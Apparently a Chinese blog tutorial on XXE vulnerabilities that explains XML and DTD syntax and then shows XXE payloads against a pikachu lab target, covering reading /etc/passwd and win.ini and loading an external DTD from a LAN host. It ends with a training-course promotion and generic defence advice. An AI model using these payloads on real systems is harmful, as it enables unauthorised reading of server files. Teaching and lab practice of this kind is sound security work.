【XXE漏洞安全-全网最详细讲解】

作者:liku君
公众号:里库的安全日记
博主微信:L2440710476(请备注来意)

WEB安全–XXE漏洞
  • 一、XXE是什么?
  • * 1.XXE简介
    
    • 2.XML简介
  • 二、XML语法
  • * 1.XML语法规则
    
    • 2.XML结构
    • 3.XML-DTD
  • 三、XXE漏洞详解
  • * 1.XXE漏洞
    
    • 2.漏洞演示
    •   *         *           * 成功提取到test数据,说明有可能存在XXE漏洞
      
    • 3.漏洞演示
    •   *         * 1.直接外部实体注入,就是通过协议直接执行恶意命令
      
      • 2.间接外部实体注入

一、XXE是什么?

1.XXE简介

XXE(XML External
Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。

XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external
entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type
Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。


2.XML简介

XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。

XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:

<person>
  <name>John Doe</name>
  <age>30</age>
  <city>New York</city>
</person>

在上面的示例中,<person>是起始标签,</person>是结束标签。<name><age><city>是子标签,它们包含了相应的数据。

XML具有以下特点:

1. 可扩展性 :XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。

2. 自我描述性 :XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。

3. 平台和语言无关性 :由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。

4. 可读性 :XML文档使用具有可读性的标记和缩进,易于理解和阅读。

XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。

二、XML语法

1.XML语法规则

XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。
XML 允许创作者定义自己的标签和自己的文档结构。

1. 所有的 XML 元素都必须有一个关闭标签
2. XML 标签对大小写敏感
3. XML 必须正确嵌套
4. XML 属性值必须加引号
5. 实体引用
6. 在 XML 中,空格会被保留


2.XML结构

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧
字符集)。

<?xml version="1.0" encoding="ISO-8859-1"?>
<note> #根元素
<to>George</to> #接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> #根元素结

3.XML-DTD

拥有正确语法的 XML 被称为“形式良好”的 XML。
通过 DTD 验证的 XML 是“合法”的 XML。
DTD 全称是 The document type definition,即是文档类型定义,通过 DTD 验证 XML 是否合法

1、形式良好的 XML 文档

(1)XML 文档必须有根元素
(2)XML 文档必须有关闭标签
(3)XML 标签对大小写敏感
(4)XML 元素必须被正确的嵌套
(5)XML 属性必须加引号
如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

单独依靠人来检查,太慢了。如何快速的检查 XML 文档是否是形式良好的文档? 需要一个
工具来快速检查 XML ?
这个工具就是 DTD

2、DTD 可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。
XML 引用 DTD 检查的方法有两种:
一种是直接在 XML 文档中声明并引用;另一种在 XML 中引入一个外部的 DTD 文档

在 XML 文档内部中写 DTD 声明
DTD 被包含在您的 XML 源文件中,它会被包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

例如

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

在 XML 文档内部中引入外部 DTD 文件 note.dtd
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个

<!DOCTYPE 根元素 SYSTEM "文件名">

例如

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

DTD 文件 note.dtd 中的定义如下

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

总结:这是内部 DTD 和外部 DTD 的声明
内部中写 DTD 声明中,它会被包装在:<!DOCTYPE 根元素 [元素声明]>
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个
DOCTYPE 定义中:<!DOCTYPE 根元素 SYSTEM "文件名">


三、XXE漏洞详解

1.XXE漏洞

XXE(XML External Entity)漏洞是一种安全漏洞,存在于使用 XML 解析器解析用户提供的 XML
数据时。漏洞的根本原因是对外部实体引用的不正确处理,导致攻击者可以利用该漏洞读取文件系统中敏感的数据、执行远程请求等操作。

XXE漏洞的攻击原理如下:

1.攻击者构造恶意的 XML 数据,其中包含对外部实体的引用。
2.XML 解析器无法正确处理这些外部实体引用,导致攻击者可以读取任意文件、进行 SSRF 攻击等。
3.攻击者通过修改 XML 数据,获取敏感信息或进行远程请求。

例如

XML内容:
	<?xml version="1.0"?>
	<!DOCTYPE a [
		<!ENTITY % d SYSTEM “file:///etc/passwd”>
        %d;
	]>
	<c>%d;</c>

此时c变量读取的值便是/etc/passwd文件的内容

2.漏洞演示

问:该怎么判断是否存在XXE漏洞呢?

答:看是否能够解析XML数据,传入一段XML代码看他能否解析

这是一个pikachu的靶场
在这里插入图片描述
把xml代码输入进去:

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker "test"> ]> 
<name>&hacker;</name>

结果:

在这里插入图片描述

成功提取到test数据,说明有可能存在XXE漏洞

3.漏洞演示

1.直接外部实体注入,就是通过协议直接执行恶意命令
<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker SYSTEM "file:///C:/phpstudy_pro/WWW"> 
]> 
<name>&hacker;</name>

结果:

在这里插入图片描述

2.间接外部实体注入

将恶意代码写在DTD文件中,再引入DTD文件,操作如下:

1.构造外部dtd文件

<!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

2.一个局域网内,能ping通就行
3.构造XML代码

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd"> 
    %a;
]> 
<hacker>%a;</hacker>

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 25
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值